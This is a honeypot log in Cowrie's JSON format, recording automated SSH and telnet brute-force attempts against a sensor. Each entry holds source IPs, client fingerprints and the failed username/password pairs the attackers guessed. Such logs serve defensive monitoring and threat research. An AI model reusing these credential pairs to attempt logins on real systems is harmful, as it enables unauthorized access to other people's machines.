{"eventid":"cowrie.login.failed","username":"administrator","password":"passw0rd","message":"login attempt [administrator/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:22.520219Z","src_ip":"185.16.214.226","session":"549bda8c63af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":48598,"dst_ip":"10.17.0.5","dst_port":23,"session":"be9e0493f383","protocol":"telnet","message":"New connection: 20.123.41.163:48598 (10.17.0.5:23) [session: be9e0493f383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:23.026678Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:23.651766Z","src_ip":"185.16.214.226","session":"549bda8c63af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39068,"dst_ip":"159.203.135.109","dst_port":22,"session":"52476f3ec87f","protocol":"ssh","message":"New connection: 45.156.87.254:39068 (159.203.135.109:22) [session: 52476f3ec87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:25.661390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:25.666296Z","src_ip":"45.156.87.254","session":"52476f3ec87f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:25.755479Z","src_ip":"45.156.87.254","session":"52476f3ec87f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:26.127750Z","src_ip":"45.156.87.254","session":"52476f3ec87f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:27.230738Z","src_ip":"45.156.87.254","session":"52476f3ec87f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48176,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcc016c7d353","protocol":"ssh","message":"New connection: 45.156.87.254:48176 (159.203.135.109:22) [session: fcc016c7d353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:30.614670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:30.624099Z","src_ip":"45.156.87.254","session":"fcc016c7d353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:30.712740Z","src_ip":"45.156.87.254","session":"fcc016c7d353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:30.971165Z","src_ip":"45.156.87.254","session":"fcc016c7d353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:32.182725Z","src_ip":"45.156.87.254","session":"fcc016c7d353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48188,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fdf3b383a6a","protocol":"ssh","message":"New connection: 45.156.87.254:48188 (159.203.135.109:22) [session: 1fdf3b383a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:35.930286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:35.935637Z","src_ip":"45.156.87.254","session":"1fdf3b383a6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:36.025460Z","src_ip":"45.156.87.254","session":"1fdf3b383a6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:36.281808Z","src_ip":"45.156.87.254","session":"1fdf3b383a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:37.390561Z","src_ip":"45.156.87.254","session":"1fdf3b383a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36920,"dst_ip":"159.203.135.109","dst_port":22,"session":"69af24fef0fe","protocol":"ssh","message":"New connection: 45.156.87.254:36920 (159.203.135.109:22) [session: 69af24fef0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:41.592137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:41.599986Z","src_ip":"45.156.87.254","session":"69af24fef0fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:41.690702Z","src_ip":"45.156.87.254","session":"69af24fef0fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:41.943329Z","src_ip":"45.156.87.254","session":"69af24fef0fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:43.030512Z","src_ip":"45.156.87.254","session":"69af24fef0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57472,"dst_ip":"10.17.0.5","dst_port":23,"session":"91329fd320e4","protocol":"telnet","message":"New connection: 20.123.41.163:57472 (10.17.0.5:23) [session: 91329fd320e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:43.915758Z"}
{"eventid":"cowrie.session.closed","duration":30.524449348449707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:46.413713Z","src_ip":"104.245.105.2","session":"57c355719b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36942,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c929154f7f8","protocol":"ssh","message":"New connection: 45.156.87.254:36942 (159.203.135.109:22) [session: 6c929154f7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:47.296723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:47.301187Z","src_ip":"45.156.87.254","session":"6c929154f7f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:47.393050Z","src_ip":"45.156.87.254","session":"6c929154f7f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:47.645700Z","src_ip":"45.156.87.254","session":"6c929154f7f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":55932,"dst_ip":"10.17.0.5","dst_port":22,"session":"f83746eef01e","protocol":"ssh","message":"New connection: 186.30.115.187:55932 (10.17.0.5:22) [session: f83746eef01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:48.358519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:48.363101Z","src_ip":"186.30.115.187","session":"f83746eef01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:48.460698Z","src_ip":"186.30.115.187","session":"f83746eef01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:48.730679Z","src_ip":"45.156.87.254","session":"6c929154f7f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"P@ssw0rd","message":"login attempt [csgoserver/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:48.869934Z","src_ip":"186.30.115.187","session":"f83746eef01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:49.970188Z","src_ip":"186.30.115.187","session":"f83746eef01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59080,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac679f122c9a","protocol":"ssh","message":"New connection: 45.156.87.254:59080 (159.203.135.109:22) [session: ac679f122c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:52.118678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:52.123269Z","src_ip":"45.156.87.254","session":"ac679f122c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:52.206533Z","src_ip":"45.156.87.254","session":"ac679f122c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:52.465232Z","src_ip":"45.156.87.254","session":"ac679f122c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:53.553986Z","src_ip":"45.156.87.254","session":"ac679f122c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59108,"dst_ip":"159.203.135.109","dst_port":22,"session":"22a746c4a465","protocol":"ssh","message":"New connection: 45.156.87.254:59108 (159.203.135.109:22) [session: 22a746c4a465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:56.919382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:56.924500Z","src_ip":"45.156.87.254","session":"22a746c4a465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:57.018237Z","src_ip":"45.156.87.254","session":"22a746c4a465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:57.268667Z","src_ip":"45.156.87.254","session":"22a746c4a465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:58.355492Z","src_ip":"45.156.87.254","session":"22a746c4a465","protocol":"ssh"}
